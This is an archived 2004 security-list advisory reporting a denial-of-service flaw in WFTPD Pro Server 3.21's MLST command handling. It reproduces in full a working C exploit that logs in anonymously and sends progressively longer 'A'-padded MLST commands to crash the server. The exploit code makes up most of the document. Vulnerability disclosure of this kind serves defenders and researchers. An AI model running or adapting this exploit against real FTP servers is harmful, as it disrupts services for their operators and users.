[NT] WFTPD Pro Server MLST Command DoS

• Previous message: SecuriTeam: "[NT] Titan FTP Server Heap Overflow"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 31 Aug 2004 17:59:12 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  WFTPD Pro Server MLST Command DoS
------------------------------------------------------------------------

SUMMARY

 <http://www.wftpd.com/> WFTPD is "a popular FTP server for Windows". A
vulnerability in the way the product parses MLST commands allows a remote
attacker to trigger a denial of service situation in the product.

DETAILS

Vulnerable Systems:
 * WFTPD Pro Server 3.21 Release 3

Exploit:
/*
*-----------------------------------------------------------------------
*
* wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author : lion
* : lion@cnhonker.net
* : http://www.cnhonker.com
* Date : 2004-08-30
*
*-----------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

#define FTPPORT 21
#define BUFFSIZE 204800
#define OVERFLOWSIZE 220
#define SIZE 2048

// function
int create_socket();
int client_connect(int sockfd,char* server,int port);
int writebuf(char *s,int socket,char *buffer,int len);
int readbuf(char *s,int socket,char *buffer,int len);
void checkstatus(char *s);
void loginftp(SOCKET sockfd, char *user, char *pass);

int show = 1;
char recvbuf[BUFFSIZE];
char sendbuf[BUFFSIZE];

void main(int argc, char *argv[])
{
   WSADATA wsa;
   unsigned short port;
   unsigned long ip;
   char user[32] = "anonymous";
   char pass[32] = "anonymous";
   int i;
   
   char *command = "MLST ";

   SOCKET s;
   int size = OVERFLOWSIZE;

   printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
       printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

   if(argc < 3)
   {
       printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
       return;
   }
   
   WSAStartup(MAKEWORD(2,2),&wsa);

   if((s=create_socket())==0)
   {
       printf("[-] ERROR: Create socket failed.\r\n");
       return;
   }
     
   if(!client_connect(s, argv[1], atoi(argv[2])))
       exit(-1);
   
   loginftp(s, user, pass);
   
   memset(sendbuf, 0 ,BUFFSIZE);
   memcpy(sendbuf, "pasv\r\n", 6);
   writebuf("Send pasv", s, sendbuf, 6);
   readbuf("read", s, recvbuf, BUFFSIZE);
   
   for(i=0;i<60;i++,size++)
   {
       memset(sendbuf, 0, BUFFSIZE);
       memset(sendbuf, 'A', size);
       memcpy(sendbuf, command, strlen(command));
       sendbuf[size-2] ='\r';
       sendbuf[size-1] ='\n';
       
       printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
       show=1;
       writebuf("Send overflow buff", s, sendbuf, size);
       readbuf("read", s, recvbuf, BUFFSIZE);
       Sleep(500);
   }
   
   //send QUIT
   memset(sendbuf,0, BUFFSIZE);
   sprintf(sendbuf, "%s\r\n", "QUIT");
   writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
   
   //show=1;
   //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);
   //return;
       
   if(s)
       closesocket(s);
         
   WSACleanup();
}

int create_socket()
{
   int sockfd;
 
   sockfd=socket(AF_INET,SOCK_STREAM,0);
   if(sockfd<0)
   {
       printf("[-] Create socket error.\r\n");
       return(0);
   }
   
   return(sockfd);
}

int client_connect(int sockfd,char* server,int port)
{
   struct sockaddr_in cliaddr;
   struct hostent *host;

   if((host=gethostbyname(server))==NULL)
   {
       printf("[-] ERROR: gethostbyname(%s) error\n", server);
       return(-1);
   }
   
   memset(&cliaddr, 0, sizeof(struct sockaddr));

   cliaddr.sin_family=AF_INET;
   cliaddr.sin_port=htons(port);
   cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
   printf("[+] Trying %s:%d......", server, port);
   fflush(stdout);

   if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct
sockaddr))<0)
   {
       printf("FAILED!\r\n");
       closesocket(sockfd);
       return(-1);
   }

   printf("OK!\r\n");
   return(1);
}

int writebuf(char *s,int socket,char *buffer,int len)
{
   int j;

   if(s)
   {
       printf("[+] %s......", s);
       fflush(stdout);
   }

   j=send(socket,buffer,len,0);
   if(j<=0)
   {
       printf("FAILED!\r\n");
           exit(-1);
   }
   printf("OK!\r\n");
   return j;
}

int readbuf(char *s,int socket,char *buffer,int len)
{
   int a,b,i,j=0;
   
   a=b=i=0;
   memset(buffer,0,len);

   if(s)
   {
       printf("[+] %s......", s);
       fflush(stdout);
   }

   j=recv(socket,buffer,len-1,0);
   if(j <= 0)
   {
       if(s) printf("FAILED!\n");
           printf("[-] Recv data error.\n");
       exit(-1);
   }
       
   if(s) printf("OK!\n");

   buffer[len-1]='\0';

   if(show==1) printf("<==\r\n%s<==\r\n",buffer);

   return j;
}

void checkstatus(char *s)
{
   if(s==NULL) exit(-1);
   if(isdigit(*s))
   {
       if(s[0]=='5')
       {
           printf("[-] Server told:%s\n",s);
           exit(-1);
       }
       else return;
   }

   printf("[-] Server said:%s\n",s);
   exit(-1);
}

void loginftp(SOCKET sockfd, char *user, char *pass)
{
   int j;
   
   show=1;
   readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
   //show=0;

   //send USER username
   memset(sendbuf,0,BUFFSIZE);
   j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
   writebuf("Send USER", sockfd,sendbuf,j);
   readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
   checkstatus(recvbuf);

   //send PASS password
   memset(sendbuf,0,BUFFSIZE);
   j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
   writebuf("Send PASS", sockfd, sendbuf, j);
   readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
   checkstatus(recvbuf);
   printf("[+] User %s logged in.\r\n", user);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:lion@cnhonker.net> lion.
The original article can be found at:
<http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=63>
http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=63

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[NT] Titan FTP Server Heap Overflow"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]